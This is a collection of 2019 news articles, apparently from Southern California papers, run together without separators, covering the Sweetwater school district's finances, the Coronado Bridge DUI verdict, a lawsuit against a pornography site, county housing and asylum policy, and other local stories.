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Jay Tabb, the FBIs top national security official, said the FBI had warned Witt before her defection that she was a vulnerable target for recruitment by Iranian intelligence but that Witt had ignored those warnings.The city of Flint has agreed to use a scientific model to determine which homes likely have lead or steel water lines as officials try to comply with a 2017 agreement to replace the pipes following the citys lead water crisis.

The updated deal was filed Tuesday but needs a federal judges approval.

The nonprofit Natural Resources Defense Council is concerned about Flints performance, saying more than 80 percent of excavations in 2018 were at homes with copper pipes. Roughly 8,000 lines have been replaced but thousands remain.

Water lines are being replaced as a result of lead-tainted water discovered in 2014. Lead began leaching from pipes after Flint tapped the Flint River for drinking water without properly treating it to reduce corrosion.

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The new agreement says Flint will use a model developed by scientists at the University of Michigan and the Georgia Institute of Technology.The San Diego County Office of Education on Tuesday took away the Sweetwater Union High School Districts ability to pay bills on its own, citing new findings from outside auditors on the ways the district is lacking in internal financial controls.

One auditing firm hired by the county office found that Sweetwater qualifies as high risk and failed in five out of five areas evaluated for required financial controls. That firm, Wilkinson Hadley King & Co. LLP, began its analysis of Sweetwater in January and submitted its report to the county last week.

The firms report adds to a list of problematic findings uncovered recently about the finances of Sweetwater, Californias largest secondary school district with about 39,000 students.

In December, a state fiscal team found that Sweetwater has been misrepresenting its finances and has been relying on interfund borrowing to make payroll, among other findings. Sweetwater will be audited by the state in coming months and is under investigation by the U.S. Securities and Exchange Commission.

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A Sweetwater spokesman did not provide a comment for this story.

In this most recent report, the auditing firm raised concerns about the fact that anyone in Sweetwaters finance department can log an accounting transaction or journal entry without authorization.

The firm also noted issues with Sweetwaters internal audit department.

For instance, the internal audit department is not fully independent from the people it is supposed to audit. The department reports to the superintendent and the districts audit subcommittee, which includes the chief financial officer.

The internal audit department also does not test financial journal entries and does not employ certified internal auditors or certified public accountants, the report said.

The auditing firm said Sweetwater should hire a certified internal auditor  that position is currently vacant in the district  and they should audit the functions of the districts finance department.

Sweetwater also should require that financial journal entries be authorized and audited, the firm said.

The county office in November engaged a separate auditing firm to prepare cash flow projections of Sweetwaters finances. But that firm found that it was virtually impossible to obtain and verify Sweetwaters financial data for an accurate cash flow or accounting analysis.

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After six weeks of interaction, our firm is unable to receive this baseline data in a format that our firm, under the most challenging conditions, would take a week and in the best of conditions, a few hours to analyze, wrote Caroline Larson, partner with the auditing firm, Vavrinek, Trine, Day & Co., LLP. The firm also does external audits for Sweetwater.

The firm told the county it will not work on preparing cash flow projections until Sweetwaters financial data are fixed.

Based off of both firms findings, the San Diego County Office of Education on Tuesday revoked Sweetwaters fiscal accountability status, or its ability to pay vendors directly. That means the county office, which has financial oversight powers over school districts, can now audit Sweetwaters payments to vendors and that Sweetwater must pay vendors through the county education office, as most smaller school districts in the county do.

On top of the issues raised by the two auditing firms, the county education office said it has grave concerns related to the districts recent attempts to implement a new financial system.

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The state fiscal team said in 2015 and last December that Sweetwater needs a data system that integrates its human resources, payroll, budget and finance functions. The lack of cohesion between those areas is partly what led to Sweetwaters inaccurate financial reporting, according to the state fiscal teams most recent report.

Currently, the county office and 54 school districts and charter schools in the county use an integrated finance system called PeopleSoft, which is the countys recommendation for Sweetwater.

Sweetwater was about to transition to PeopleSoft in 2016, but it changed its mind and kept using its current system, TrueCourse.

Some districts had difficulty implementing PeopleSoft last school year, to the point that the county partially refunded districts implementation costs, said Michael Simonson, the county education offices assistant superintendent of business services. Simonson said an advisory board is working on addressing improvements for PeopleSoft.

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As of last month, Sweetwater was planning to approve a new financial system, Infor, without going through the required request for proposals process, according to the county education office. Sweetwater currently uses Infor as its human resources system. No other California school district uses Infor, Simonson said, which raised concerns for the county.

Our office was surprised, to say the least, at the Districts intent to enter into a contract for a new financial system without any prior notice, analysis or conversation with our office, Simonson wrote in a letter to Sweetwater Superintendent Karen Janney on Tuesday.

Additionally, the Districts desire to continue to operate an independent system which is not utilized in any California school district, similar to your current TrueCourse system, causes concerns that the District may not fully recognize the extent of the current financial crisis.

Simonson also noted in his letter that Sweetwater has failed to produce a number of documents that the county has been asking of the district since November.

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The county told Sweetwater to provide budget cut plans for the next two school years, cash flow projections that show interfund borrowing, a detailed analysis of the districts recently implemented early retirement incentive plan and the status of those vacated positions. The countys given deadlines for those documents have all passed and Sweetwater has yet to provide them.

A Sweetwater spokesman has said the district plans to produce and approve a fiscal recovery plan sometime next month. The district previously said it would do so this month.

Since December, the district says, it has created a budget position control analyst position and a position control committee. The district also says it has a plan to save $2 million next year by cutting 20 to 25 percent of district office positions.

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Kristen Taketa

Email: kristen.taketa@sduniontribune.com

Twitter: @Kristen_TaketaA jury on Wednesday found a Navy petty officer guilty of vehicular manslaughter while intoxicated for driving off the San Diego-Coronado Bridge in 2016 and crashing into Chicano Park, killing four people and injuring seven others.

The San Diego Superior Court jury did not find gross negligence, but rather ordinary negligence in the Oct. 15, 2016 crash.

The panel of six men and six women also found Richard Sepolio, 27, guilty of felony driving under the influence causing injury to multiple victims.

Jurors cleared Sepolio of reckless driving charges, and also found that his level of intoxication was not higher than the legal limit for driving in California, which is a blood-alcohol content of at least .08 percent.

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Deputy District Attorney Cally Bright and CHP officer, Justin Snider sat in court as Judge Charles G. Rogers read the verdict. (Nelvin C. Cepeda / San Diego Union-Tribune)

This was a great outcome on this case, Deputy District Attorney Cally Bright told reporters out of court.

According to the prosecutor, Sepolio had been drinking earlier in the day and was on his cellphone, arguing with his girlfriend, while speeding onto the bridge and trying to pass another car on his left.

He lost control of his pickup, plunged off the bridge and into a crowd enjoying La Raza motorcycle rally.

Those killed were Cruz Contreras, 52, and his wife, Annamarie Contreras, 50, of Chandler, Ariz., as well as Andre Banks, 49, and his wife, Francine Jimenez, 46, of Hacienda Heights.

Sepolio was charged with 13 felony counts including four counts of gross vehicular manslaughter while intoxicated, plus driving under the influence and reckless driving. Some counts involved alcohol or negligence while others did not, leaving the jury with a variety of options for conviction.

Jurors found that Sepolio had driven at an unsafe speed  a black box recorder registered his pickup to 81 mph going onto the bridge  but also that he had not made an unsafe turning movement in trying to pass another car.

A passenger truck fell from the Coronado Bridge onto an event in Chicano Park killing four people and injuring several others.

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Jurors completed their deliberations on Monday, but Judge Charles Rogers decided to hold off on reading the verdicts until Wednesday  after a Tuesday court holiday  to give family and friends of Sepolio and of the victims time to travel to San Diego, in some cases from out of state.

Sepolio is expected to be sentenced April 2. He faces a range from probation to 18 years in prison.

Bright said if Sepolio gets an 18-year prison term, he would have to serve 85 percent of that, or 15 years.

Nothing will bring back the family members lost that day, she added.

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Timothy Contreras, nephew of Cruz and Annamarie Contreras, said the family is feeling pretty good about the verdicts.

But, he added, This whole thing has been tough  on (Sepolios) family, too. My aunt and uncle were wonderful people. They fostered a lot of children. Theyre going to be greatly missed.

Defense attorney Paul Pfingst noted, too, that the case was a tragic one for all involved.

Were gratified that the most serious charges were found not guilty, Pfingst said. But it is disappointing, despite the fact that he was driving under the legal limit, he was found guilty of driving under the influence.

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One of the jurors, Matthew Miller, told reporters that the panel members felt good about their verdicts.

I think it was a very difficult decision to come to, a lot of factors, Miller said. We really hashed it out.

One of the more difficult legal issues they wrestled with, Miller said, was whether Sepolios blood-alcohol level had impaired him. Jurors also were concerned over the California Highway Patrols mishandling of evidence, noting testimony that CHP investigators had stored away one of Sepolios blood samples and forgotten about it.

Following the reading of the verdict, Judge, Charles G. Rogers thanked the jury for their time in the case of Richard Sepolio. (Nelvin C. Cepeda / San Diego Union-Tribune)

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After reading the verdicts  a process that took nearly 30 minutes  the judge ordered Sepolios bail revoked and had him taken into custody. A sheriffs deputy handcuffed Sepolios hands behind his back and escorted him out of the courtroom to a holding cell.

Pfingst said Sepolio asked him to tell his family to stay strong.

Sepolios parents, from Texas, sat in on the nearly month-long trial, along with his wife and their baby. They did not talk to reporters after the court proceeding.

Sepolio married the girlfriend with whom he was talking on his cellphone just before his crash.

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Dozens of friends and relatives of those who died, as well victims who were injured in the park attended the trial and listened quietly to the verdicts.

Because of one outburst from an audience member during the trial, the judge spent several minutes cautioning them about any disturbances while he read the verdicts. He had 11 deputies posted inside his courtroom and several more just outside.

Pablo Trevino, publisher of a magazine that hosted the motorcycle rally, said he was a little disappointed in the outcome of the trial because Sepolio, with his wife and child, has a life ahead of him after prison.

Although it was hard to see him get handcuffed, his family didnt have to see him lowered into the ground like other families had to witness, Trevino said.

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The trial got underway with testimony on Jan. 14 and continued over the next three weeks.

Prosecution and defense lawyers presented varying blood-alcohol test results on Sepolio and interpretations of what caused him to swerve out of control on the bridge arching over Chicano Park in Barrio Logan.

Sepolio testified that he had two alcoholic drinks  cider and a glass of wine  at lunch with a colleague from North Island Naval Air Station in Coronado. The lunch lasted from about noon to 2:30 p.m. They took an Uber ride back to her South Park apartment and hung out for an hour before he headed home, he said.

Pfingst said Sepolio was not under the influence by the time he was driving. The attorney said four blood and breath tests, taken later that evening, showed no higher than .05 to .06 percent blood-alcohol levels.

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Bright said one of the test results actually showed a blood-alcohol level range up to .11 percent. Even with a lower level, she argued, Sepolio was still considered impaired for driving.

As Sepolio headed toward Coronado, he talked on his cellphone with his girlfriend. He testified that he hung up seconds before starting onto the bridge from northbound Interstate 5. He tried to merge into the left lane, but a car to his left sped up and he accelerated, too, trying to pass it.

Then he lost control of the truck, swerved too far left, hit the bridge barrier wall and veered to the right. His truck hit that barrier and became airborne.

The truck plummeted down, clipped a light pole then crushed vendor booths where several people were standing. An estimated 3,000 people were in the park for the motorcycle rally, music and food festival that afternoon.

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Witnesses testified that several men rolled the truck off the victims, then hauled Sepolio out the back pickup window. He was clutching his cellphone, and, some witnesses said, smelled of alcohol.

Investigators later found text messages from his girlfriend in which she made numerous apologies for her behavior. The prosecutor said the messages show that the couple had been arguing, putting Sepolio in an irritated and impatient state as he drove.

Staff writer Teri Figueroa contributed to this report.

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pauline.repard@sduniontribune.com

Twitter: @pdrepard

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UPDATES:

12:34 p.m.: This article was updated with additional details.

The article was originally published at 9:40 a.m.A lawsuit filed by 22 women who claim they were tricked into filming erotic videos in some of San Diegos most upscale hotels for an amateur pornography site just got more complicated.

Less than two months before trial was set to begin in San Diego Superior Court, the owner of girlsdoporn.com filed for bankruptcy and has requested the complex, massive litigation be heard in federal court instead.

Lawyers for the women  described as financially struggling college students  are accusing website owner Michael Pratt of using the bankruptcy and court switch-up as a last ditch effort to delay trial.

Pratts attorney, Aaron Sadock, said in an email Tuesday evening that the bankruptcy filing comes after enduring two and a half years of litigation and the transfer of courts is for efficiencys sake, and to avoid multiple trials.

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The lawsuit was filed in 2016. The women are not named publicly in the litigation due to sensitive nature of the allegations.

Pratt and his associates are accused of posting Craigslist ads around the country  typically in college towns  for potential models. Once the women expressed interest, the pitch switched to adult videos in exchange for thousands of dollars in pay.

The women were assured that the videos wouldnt be posted online, but rather be sold as a DVD to a private collector in Australia or elsewhere overseas, the lawsuit states.

The women were flown from around the country to San Diego and booked into high-end hotels  from The Palomar downtown to LAuberge in Del Mar to La Valencia in La Jolla. The women claimed they were instructed to sign last-minute legal agreements, sometimes after consuming alcohol or marijuana offered to them, and were assured the documents were for their protection and privacy, the lawsuit alleges.

The women later discovered their videos had been posted to girlsdoporn.com. They also became the target of hobbyist viewers who like to investigate the real identities of the performers, the suit alleges. The lawsuit claims the womens identities and other personal information were outed on social media and other websites.

In some cases, people sent harassing text messages to the women or screenshots of the films to family and friends. In the case of Jane Doe No. 1, people called and emailed her college professors and classmates, calling her whore and slut, as well as tagged her boyfriend on social media with a video, the lawsuit claims.

After being outed, one woman from North Carolina said she became depressed, couldnt leave the house, was blackmailed and her car vandalized. A San Diego County woman said she debated suicide several times.

I would never have agreed to the video, if Defendants had been truthful, told me their plan to release my video on their website, or told me I was in danger, a plaintiff from Louisiana testified in a deposition.

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The women are seeking at least $1 million each in damages for emotional distress, up to $500,000 each in restitution, as well as punitive damages and attorneys fees and costs.

Pratts attorneys argue that the women knowingly traveled with the intent to film pornography and signed waivers acknowledging the material can be used any way the business sees fit. The women also read a summary of the contract aloud on camera, saying they understood the footage could be used in any manner, said attorney Sadock.

Nobody forced them, Sadock said.

Co-counsel Daniel Kaplan wrote in a motion that the lawsuit appears to be a case of remorse.

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The case has been fiercely litigated in the past two years, with nearly 2,000 docket entries that include 132 motions or ex-parte applications and three appeals.

Trial was set for March 8.

The bankruptcy filing came on Jan. 23, the same day that Superior Court Judge Joel Wohlfeil posted tentative rulings that denied the defendants request to delay trial and granted the plaintiffs motion to conduct an investigation into Pratts financial holdings. The next day, Pratts attorneys removed the case to federal court.

The lawyers for the women are arguing that the bankruptcy proceedings shouldnt disrupt their ability to continue to collect damages from him at trial.

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The bankruptcy and removal are the third and most frivolous defense attempts to change venue and avoid adjudication in this case, attorney John OBrien argued in a motion.

According to Pratts bankruptcy filing, he makes $38,800 a month, with $25,000 left over after expenses. He is reporting $443,000 in debt, including $134,000 in taxes. The litigation is also listed as a debt, without a dollar amount.

kristina.davis@sduniontribune.com

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Twitter: @kristinadavis

UPDATES:

6:45 p.m.: This article was updated with comments from the defendants attorney.

This article was originally published at 5:05 p.m.While the city of San Diego has made a big splash with ambitious proposals to address an affordable housing shortage, the county has been moving the ball forward, albeit in fits and starts.

The county has allocated slightly more than half of a newly created $25 million housing trust fund to build 453 affordable units. More are on the drawing boards and Dianne Jacob, chair of the county Board of Supervisors, has proposed doubling the size of the fund.

Like elsewhere, the county is making it easier and cheaper for homeowners to build a second unit on their property, with more financial breaks potentially to come.

Meanwhile, the county is sitting on plans, some already approved, for about 10,000 homes in unincorporated areas that are essentially frozen due to legal action and a referendum.

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Beyond those hurdles, critics say these suburban-style developments arent the kind of dense residential projects on transit corridors that the region needs to both bring down the cost of housing and get people out of their cars. Transit-oriented development has its critics, who question whether it will make much of a difference in the price of housing.

Jacob said that some of the regions most affordable living is in unincorporated areas under county jurisdiction, that the countys general plan has been revised to cluster more density near suburban and urban areas away from the back country, and that most people will still want to drive on roads for a very long time.

Some economists believe a substantial increase in supply will moderate prices, while housing advocates have called for rent-control measures in addition to more construction.

Despite concern over affordability, building more housing almost anywhere remains politically difficult, even as officials try to make it easier to do.

The county has been criticized for not doing enough on affordability, though supervisors noted theyve approved large developments that would at least help start meeting market demand  if they could be taken out of limbo.

A judge has ruled the countys climate action plan should be set aside and redone because it allows developers to offset the greenhouse gas emissions from their projects in places far away, rather than locally. The county has appealed and basically suspended progress on a handful of large developments until thats settled.

Further, the board-approved, 2,135-home Newland Sierra project north of Escondido is on hold until voters weigh in on a ballot measure next year seeking to repeal that action.

Given recent history, it remains to be seen whether the countys renewed dedication to building housing outlined by Jacob will take hold.

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One of the more popular moves locally and statewide is to encourage second units, or so-called granny flats, by speeding up approvals and providing subsidies to get them built. Along with the county, the cities of Encinitas, Poway and San Diego have taken big steps to encourage them.

To varying degrees, theyve streamlined the process, waived permits and fees, and provided pre-approved building plans. Poway may give financial assistance to get them built if property owners agree to rent to low-income tenants for about a decade. Jacob hinted the county isnt done.

Why not look at creating additional financial incentives for these secondary homes to help house our most vulnerable? Jacob asked in her State of the County speech one week ago. Stay tuned on that one. More to come.

While some neighbors arent wild about another home being built next door, these accessory units have the advantage of going on developed property. Officials say they are but one tool  and not the full answer  to make housing less expensive.

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Jacob said there are 172,000 homes on existing lots in unincorporated areas.

Thats a lot of untapped potential, she said. . . . If only 10 percent of them add a second dwelling unit, that would go a long, long way toward filling our affordable housing gap.

That potential comes with some concerns. Jacob warned of the ever-present fire danger in areas of the county that are increasingly populated.

Nearly 60,000 houses in the unincorporated area sit on land considered to be at high risk, or very high risk, of wildfire, she said.

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That suggests it might not be wise to allow a secondary dwelling next to about one-third of the existing homes in unincorporated areas. However, Jacob said in an interview that she didnt expect the county to prohibit anybody from building a second unit, but that improved fire standards would be required in certain areas.

She noted that these two challenges  the need for housing and fire prevention and protection  are on a collision course.

Some of those pending large developments may be in the middle of it. Following the devastating Camp fire in Northern California last year, Harmony Grove residents warned that some of the proposals in North County could put the region at risk, despite assurances by developers and fire officials.

Those conflicting pressures are not unique to San Diego County.

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Gov. Gavin Newsom made affordable housing a top priority during his campaign and his first month in office. He has shown little tolerance for local jurisdictions that resist it, and even had the state file a lawsuit against Huntington Beach for failing to plan for low-income housing.

Theres too much demand and too little supply, Newsom said in his first State of the State speech Tuesday. And that is happening in large part because too many cities and counties arent even planning for how to build. Some are flat out refusing to do anything at all.

Two days after Newsom was elected on Nov. 6, the Camp fire went on its destructive and deadly rampage through the town of Paradise, which once again raised decades-old questions about the wisdom of allowing homes in fire-prone areas.

Like the governor, San Diego County is seeking to significantly ramp up housing construction in the face of hard political realities and increasingly harsh natural constraints.

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michael.smolens@sduniontribune.com

Twitter:@michaelsmolens

(619) 293-1256Authorities are investigating a robbery outside Westlake Recording Studios in West Hollywood that ended with shots fired, officials said.

The shooting occurred after 3 p.m. in the 7200 block of Santa Monica Boulevard, according to the Los Angeles County Sheriffs Department. Three suspects confronted three men in the alley behind the studio and demanded their money and jewelry. The victims were then physically assaulted.

The suspects got into a vehicle and as they drove away, a shooting occurred. Its unclear who fired the shots.

The three men were treated at the scene for minor injuries. There were no reports of anyone struck by gunfire.

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A description of the suspects was not immediately available.

Anyone with information about the incident is asked to call sheriffs officials at (310) 855-8850.

We are investigating reports of shots fired near Santa Monica Bvd at Greenacre Ave. We are attempting to locate a victim at this time. Further info to follow.  LASD West Hollywood (@WHDLASD) February 13, 2019

alene.tchekmedyian@latimes.com

Twitter: @AleneTchekLast year the San Diego County Board of Supervisors voted to support President Trumps lawsuit against California over its sanctuary state laws.

Now, the county supervisors plan to sue the Trump administration for how it is treating certain immigrants.

The county board voted in closed session Tuesday to pursue legal action against the administration over its handling of asylum-seeking families.

Before October, the Immigration and Customs Enforcement connected asylum seekers with sponsors or family members in the United States while they waited for the legal asylum process to play out. It was called a safe release program.

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Now, federal policies have changed and asylum seekers are being processed by ICE and then released into communities such as San Diego without any resources, leaving thousands of migrants all but stranded.

The suit aims to reimburse the county for the cost of serving asylum seekers and to compel the federal government to re-implement a safe release program, said Dianne Jacob, chairwoman of the Board of Supervisors.

We are intent on sending a strong message to the administration that this unacceptable, Jacob said. Its wrong that the federal government is dumping on San Diegans not only from a cost standpoint and a humanitarian standpoint, but this is also a federal issue and the feds need to be held accountable and do their job.

The lawsuit will be officially filed in about 30 days, Jacob said. She did not say how many supervisors voted for it Tuesday.

After the safe release practices ended in October, a coalition of more than two dozen local nonprofits known as the San Diego Rapid Response Network set up a temporary shelter for migrant families.

The network has provided humanitarian aid and transportation assistance to more than 5,200 migrants  mostly families with young children  since November. But the networks shelter had been forced to change locations five times, until January, when the county allowed an old courthouse downtown to become a shelter for asylum seekers until the end of this year.

Under an agreement with Jewish Family Service, one of the partners in the Rapid Response Network, the coalition of nonprofits will operate the shelter and bear all ongoing costs.

In a statement Tuesday, the Rapid Response Network commended the Board of Supervisors for pursuing the lawsuit and holding the Trump administration accountable for its anti-immigrant policies and tactics.

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The network added that it is interested in learning details of the lawsuit.

In the interim, we will continue working with the county of San Diego and other government and non-government partners to support these families in exercising their legal, human right to seek safety and protection from violence and persecution in their home countries, the network said in a statement.

Jacob said the Board of Supervisors is not being inconsistent. She said that Trumps lawsuit against California deals with illegal immigrants, but the countys proposed lawsuit against his administration seeks to support legal immigration, including those who are seeking asylum.

Last month the Trump administrations Remain in Mexico policy went into effect. That policy requires asylum seekers to wait in Mexico while their claim undergoes the legal process.

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That policy will probably face a legal challenge, observers say.

In the interim, individuals have already been sent back to Mexico, but it is unclear when or if that policy will be enforced on asylum-seeking families.

Supervisor Nathan Fletcher, who voted in support of the boards lawsuit, said in a statement, While we wait for the courts to weigh in, San Diego County will not abandon asylum seekers. We are committed to continuing our work with the San Diego Rapid Response Network and the state of California to ensure humane and compassionate treatment for all.

Gov. Gavin Newsom and San Diego state legislators have also prioritized the asylum-seeker issue.

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Newsom, who visited San Diego and the networks shelter last month, has called for the state to spend $20 million over three years to assist nonprofits and community organizations that serve asylum-seeking families. He also asked the legislature to provide $5 million in immediate funding.

The state Assembly approved that funding last month, and the state Senate approved it Monday and it is awaiting the governors for final approval.

Charles T. Clark writes for the San Diego Union-TribuneThe Dixie School District has voted to keep its name, despite criticism from some who say it is linked to the Confederacy and slavery. School officials said they would revisit the issue later.

The school board voted Tuesday night after more than five hours of public testimony over changing the name of the 150-year-old district, which supporters say came from a Native American woman, Mary Dixie.

Those pushing for the district to pick a new name from 13 options submitted by residents say the district got its name after a dare by Confederate sympathizers.

The issue generated weeks of heated online debate between parents in the overwhelmingly white city of 59,000 north of San Francisco, with some insisting that the Dixie name is racially insensitive and others arguing that the call for a name change represented political correctness run amok.

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A majority of board members said they supported changing the name, but that the process seemed rushed and needed more community input, the San Francisco Chronicle reported.

The board said it will decide on the process for a name change at its next meeting.

The four-school district in Northern California has about 1,700 students. It was founded in 1864, making it one of the oldest districts in Marin County.

James Miller donated land for the first schoolhouse. Those who support changing the name say Miller named the district Dixie after being dared by Confederate sympathizers. Those who oppose the change say the school system was named for Dixie, a Miwok Indian woman whom Miller knew in the 1840s.

Marge Grow Eppard, a member of the Miwok tribe who said her family name is Dixie, told the board Tuesday that she did not realize my familys name was so offensive.

I dont see no Confederate flags here .... Youre going to change Mary Dixies name, you dishonor all of us.

Patrick Nissim, who attended district schools, said he did not subscribe to the idea that everyone who wants to keep the name is racist.

He added: But changing the name is not an indictment of this district. Changing the name is simply the next free chapter of this districts history  it is a lesson in empathy.

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Opponents have also pointed out that the school board agreed in November to put the name-change issue to a nonbinding community vote in 2020 and that it should stick with that timetable.

Among the names the board was asked to consider were Marie Dixie Elementary School District and Skywalker Elementary School District.

During the meeting, board President Brad Honsberger urged speakers to remain diplomatic.

The political world these days seems charged and disrespectful, including hateful comments and blaming others, Honsberger said. Dixie has the opportunity to demonstrate how discourse can be respectful, courteous and accepting.Authorities have arrested a man in connection with a car-to-car shooting on the 15 Freeway south of Hesperia that left a 10-year-old boy with a serious head injury, the California Highway Patrol announced Wednesday.

CHP officers arrested Jose Luis Chavez, 48, of Phelan on suspicion of attempted murder on Friday, the day after the shooting. Chavez was already in custody when the CHP arrested him. The San Bernardino County Sheriffs Department had picked him up on suspicion of trespassing and being a felon in possession of a firearm one hour after the shooting.

The Sheriffs Department received a call from a husband and wife, who are retired deputies, to report a man trespassing on their property Thursday. When deputies arrived, they found Chavez had several rounds of ammunition on him and a firearm in his car, authorities said.

After seeing the news of the freeway shooting, one of the retired deputies called the CHP.

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She mentioned we should probably go interview this individual, CHP Inland Division Chief Bill Dance said. It was her hunch, her intuition  maybe her Spidey-senses were tingling.

CHP officers interviewed Chavez and linked him to the shooting case, officials said.

We are very confident this is the suspect, Dance said.

Though a motive has yet to be determined, Dance said the shooting was unprovoked.

There was no road rage, anything like that. he said. The family was together in the car. They were just traveling the freeway when this happened. It was just a random act.

The boy was released from the hospital Tuesday night and is expected to make a full recovery.

It could have been bad, Dance said. Somebody was looking out for him.

alejandra.reyesvelarde@latimes.com

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Twitter: @r_valejandraTijuana receives thousands of U.S. deportees each year, and for many the adjustment to life back in Mexico is challenging. This month, their stories will be highlighted in a series of presentations organized by the University of California Davis together with the Colegio de la Frontera Norte.

The events, all open to the public, run from Saturday through Feb. 27. These include a multi-media exhibition with more than 80 testimonial video narratives. One of the chief aims is to present first-hand stories of detention and deportation.

The project is focused on having deportees tell their own stories through these videos that are publicly posted. It is called Humanizando la Deportacion or Humanizing Deportation.

The project was launched during the U.S. presidential campaign in 2016 as immigration was becoming an increasingly contentious topic. What a lot of people were saying in the United States was not based on real information, said Robert Irwin, a UC Davis professor who coordinates the project. I wanted to show the breadth and complexity of what was happening in some way.

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The project, which is aimed at audiences on both sides of the border, now includes 173 videos featuring the stories of 145 deportees. We give them a platform and help them produce their own stories, Irwin said. The people who know about deportation are the people who experienced deportation.

Started in Tijuana, the project has since expanded to include Mexico City, Guadalajara, Ciudad Juarez and Monterrey. Irwin says family separation and childhood arrivals run through many of the narratives.

The exhibition and events will take place at Enclave Caracol, an independent space near downtown Tijuana at Calle Primera 8250, across from the Wax Museum.

The opening reception is Saturday, from 4 p.m. to 6 p.m. Sundays event, from 4 p.m. to 6 p.m., will feature a presentation, The Other Face of Deportation. A forum on Feb. 21, taking place from 11 a.m. to 1 p.m. is entitled: Mexico, from a country of transit to a destination for migrants. Other events include a discussion focusing on deported military veterans from 5 p.m. to 7 p.m. on Feb. 22 and on Feb. 23 from from 4 p.m. to 6 p.m., a screening of a documentary: Bad Hombres? Deportation and Street Life in Tijuana.

sandra.dibble@sduniontribune.com

@sandradibbleEverything you thought you knew about the origins of pizza in America might be wrong. While its long been a part of pizza lore that Gennaro Lombardi established Lombardis - the oldest known pizzeria in the United States - in New York City in 1905, new research may prove that pizza has been in New York even longer than that and that Gennaro may not have been the first baker to sell pies out of Lombardis now-famous storefront.

The Best Pizza in Every State

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Statistician and researcher Peter Regas has spent a decade researching the history of pizza. He claims to have discovered that the New York pizza paragon was actually founded by a man named Filippo Milone seven years before Lombardis claims Gennaro Lombardi established it.

Regas made his discovery by sifting through Italian-language newspapers from the early 1900s. In them, he found advertisements for Filippo Milone-owned pizzeras such as Antica Pizzeria PortAlba from 1903, and came to believe that Milone helped to open a pizzeria at the same address as the iconic Lombardis in 1898. Lombardis is still likely the oldest extant pizzeria in America. However, thanks to Milone, its history and the history of other pizza parlors may turn out to be much more complex.

The Daily Meal has reached out to Lombardis for a comment on the matter.

Regas told Gothamist that Milone likely had prior pizzeria experience in Italy and seems to have established at least six pizzerias in the Big Apple, including the New York pizza staple Johns of Bleecker Street as well as a now-closed Brooklyn pizzeria called Pops.

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It seems likely that [Milone] was operating pizzerias in Naples before coming to America, he told the publication, also indicating that there may have been other pizzaiolos active in New York at an earlier date than previously thought. They had experience in Naples and came with knowledge and experience and a little bit of confidence that this product would be successful.

However, he doesnt want to discredit Lombardis pizza legacy. Gennaro Lombardi was and remains a key early figure in the history of pizza in the U.S.A. Understandably my research is a dramatic change in their origin story. But if anything it makes Lombardis a more historic pizzeria, Regas told Food and Wine.

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The researcher plans to share his findings during a free lecture on February 23 at the U.S. Pizza Museum in Chicago - which is still the best city for deep-dish.

View slideshowOn his first day stationed on a new Fire Department squad last month, National City fire Capt. James Stiles and his partner were the first to respond to two CPR calls. Both times, the duo arrived in a custom pickup roughly a minute before backup.

By the time a fire engine arrived in one of the two instances, Stiles and his partner on Squad 33, firefighter/paramedic Nick Black, had used defibrillation pads to shock the patient.

In situations that require CPR, like other emergencies, minutes  even seconds  matter.

While the patient later died at a hospital, he initially regained a pulse thanks to the shocks that gave him a fighting chance.

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Staffed by fire captains and firefighter/paramedics who work rotating shifts in pairs, Squad 33 has helped the Fire Department improve response times across northeastern National City, an area that once dealt with worse response times than other parts of the city.

Between October 2017  when Squad 33 began as a pilot program  and last October, the Fire Departments average response time in the northeastern area dropped by 1 minute and 36 seconds.

The average response time dropped from 4 minutes and 51 seconds in the 12 months before the year-long pilot program was launched to 3 minutes and 15 seconds.

The pilot program also had an impact beyond the northeastern area, where Squad 33 is stationed. Across the city, the Fire Departments average response time improved by 7 seconds. Although it is a small change, the Fire Department responded to 1,045 more calls than in the prior 12-month period.

Considering the promising impacts of Squad 33, city leaders decided last month to authorize it as a permanent program.

Squad 33 uses a custom Ford F-550 equipped with advanced medical equipment, as well as fire gear and tools including a 150-gallon water tank.

While it is not equipped to put out large fires on its own, Squad 33 can provide initial actions, Stiles said. For example, the team can start to douse flames or rescue a victim.

We can start to figure out whats going on as the fire engine arrives, Stiles added.

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Most of the time, however, Squad 33 responds to medical issues. Roughly 80 percent of the calls it fields are medical in nature. Many are related to the large concentration of senior living facilities in the northeastern part of the city.

The region was identified in 2009 in an independent study as an area where the Fire Departments response times were worse than other neighborhoods. The study recommended a fire station in the area, which is bounded by East Plaza Boulevard on the north and Highland Avenue on the east.

Pointing to the impacts to the Fire Departments response times, fire officials consider Squad 33 a lower-cost alternative to a new fire station, which city staff estimate could cost between $4 million to $5 million to build.

Ultimately, it provides a benefit to all the residents who live in this area that they didnt have before, Stiles said, and its doing it (in) a very cost-effective way.

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Annual costs of the program include $172,000 in overtime to staff the team, $4,800 in facility maintenance and utilities, and $1,500 in fuel and vehicle maintenance. The latter is expected to be offset by lower fuel and vehicle maintenance costs for larger trucks and engines that may not be used as much.

Squad 33 is stationed at a mobile home trailer with a detached metal garage structure on East Fourth Street at U Avenue near El Toyon Park.

Now that the city approved Squad 33 as a permanent program, the city plans to dip into a fund that collects developer fees to buy the $54,000 mobile home trailer, which was leased during the pilot program. By purchasing the mobile home trailer, the city expects to save $30,000 in lease payments.

The city was among the first in the county to roll out a squad program. Fire officials said other cities have shown interest. Last week, the Chula Vista Fire Department launched a similar program.

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The San Diego Fire-Rescue and Heartland Fire & Rescue Department have similar two-person crews.

Email: david.hernandez@sduniontribune.com

Phone: (619) 293-1876

Twitter: @D4VIDHernandezImperial Beach has a hotel problem.

The Southern California beach town only makes $600,000 in hotel tax revenues from its two hotels, a figure that lags far behind other coastal cities in the state.

We really lack the hotel and conference areas to ensure people come and stay in Imperial Beach, said Councilman Mark West. It really is important for us to have hotels.

Thats why a new Hampton Inn currently under construction at Palm Avenue and Seventh Street is such a big deal.

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That suite-style hotel with approximately 90 rooms that feature kitchenettes and is a 15-minute walk to the beach could generate as much as $500,000 a year for Imperial Beach, West said.

Its incredibly important, West said. In a city that has a $19 million budget, $500,000 has an immediate impact.

Compared to other coastal communities like Del Mar, Solana Beach and La Jolla, Imperial Beach has historically not attracted new development.

The $600,000 Imperial Beach earned in hotel tax revenues in fiscal year 2017 accounted for 6 percent of its overall revenues. Both of those figures  the amount of money generated by hotel taxes and their percentage of overall revenues  were much less than other cities in the state.

